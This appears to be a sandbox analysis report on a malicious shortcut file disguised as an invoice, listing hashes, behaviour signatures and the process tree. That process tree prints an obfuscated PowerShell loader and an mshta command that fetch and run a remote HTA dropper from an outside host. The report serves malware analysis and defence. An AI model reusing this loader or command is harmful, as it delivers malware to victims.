Overview

overview

10

Static

static

Invoice_1.lnk

windows7_x64

10

Invoice_1.lnk

windows10-2004_x64

10

Resubmissions

25-05-2022 19:16

220525-xy9rdacee9 10

23-05-2022 22:23

220523-2bae8ahfb7 10

23-05-2022 22:09

220523-12vneahef3 10

Analysis

  • max time kernel
    421s
  • max time network
    424s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    23-05-2022 22:09

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Invoice_1.lnk

  • Size

    2KB

  • MD5

    c00c67f3de031c5ae198ba0362b5dd01

  • SHA1

    40f3b0263f8fccdf1fd5fe287dbd55829a8eddd6

  • SHA256

    d146c8bc52ec74b67704b30c0fb20995ba65770d191502f70c88c262dc44fc5d

  • SHA512

    4944aa5947667500eddb4d7fed5b0a8eb4d14db1d60496fcbe38c4032511b04c92757807a23dff49353f5ee75a5ed44cc5de9ed7cdcd12b59a7b8c9214e227ad

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://conderadio.tv/09872574.hta

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Invoice_1.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1964
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" <#oeE'}tV41O#>$zfkmQNMMGKcDTdJr=@(30802,30808,30797,30809,30790,30725,30797,30809,30809,30805,30808,30751,30740,30740,30792,30804,30803,30793,30794,30807,30790,30793,30798,30804,30739,30809,30811,30740,30741,30750,30749,30748,30743,30746,30748,30745,30739,30797,30809,30790);<#oeE'}tV41O#>$JxXPDMbtIHLsflxCnW=@(30766,30762,30781);<#oeE'}tV41O#>function najjGYpeT($gNCFLP){$KeafQvWRzpQ=30693;<#oeE'}tV41O#>$GDaRsn=$Null;foreach($jimJcuhW in $gNCFLP){$GDaRsn+=[char]($jimJcuhW-$KeafQvWRzpQ)};return $GDaRsn};sal pQtoDlBENz (najjGYpeT $JxXPDMbtIHLsflxCnW);<#oeE'}tV41O#>pQtoDlBENz((najjGYpeT $zfkmQNMMGKcDTdJr));
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:596
      • C:\Windows\system32\mshta.exe
        "C:\Windows\system32\mshta.exe" https://conderadio.tv/09872574.hta
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:1176

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/596-88-0x0000000000000000-mapping.dmp

    Download

  • memory/596-93-0x000007FEF3070000-0x000007FEF3BCD000-memory.dmp

    Filesize

    11.4MB

    Download

  • memory/596-94-0x000000001B730000-0x000000001BA2F000-memory.dmp

    Filesize

    3.0MB

    Download

  • memory/596-97-0x000000000253B000-0x000000000255A000-memory.dmp

    Filesize

    124KB

    Download

  • memory/596-96-0x0000000002534000-0x0000000002537000-memory.dmp

    Filesize

    12KB

    Download

  • memory/1176-95-0x0000000000000000-mapping.dmp

    Download

  • memory/1964-54-0x000007FEFBF51000-0x000007FEFBF53000-memory.dmp

    Filesize

    8KB

    Download